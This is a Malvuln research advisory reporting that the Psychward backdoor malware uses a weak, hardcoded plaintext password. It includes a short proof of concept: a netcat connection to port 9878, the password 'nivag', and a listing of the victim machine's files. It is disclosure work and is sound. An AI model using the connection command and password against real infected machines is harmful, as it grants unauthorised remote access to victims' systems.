Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Psychward.ds  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 9878 and requires a password for remote user access. However, the backdoors password "nivag" is weak and hardcoded in plaintext within the executable.  
Type: PE32  
MD5: 9e22514c9b0e74c7fcb07b7c091f6123   
Vuln ID: MVID-2021-0219  
Disclosure: 05/18/2021  
nc64.exe x.x.x.x 9878  
connected 05/18/21 09:39:43. version 0.2.1  
pwd nivag  
password accepted  
assembly 0  
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433  
bfsvc.exe 65536  
BitLockerDiscoveryVolumeContents 0  
bootstat.dat 67584  
diagerr.xml 7623  
diagwrn.xml 7623  
Downloaded Program Files 0  
Enterprise.xml 35990  
explorer.exe 3904296  
Fonts 0  
HelpPane.exe 976896  
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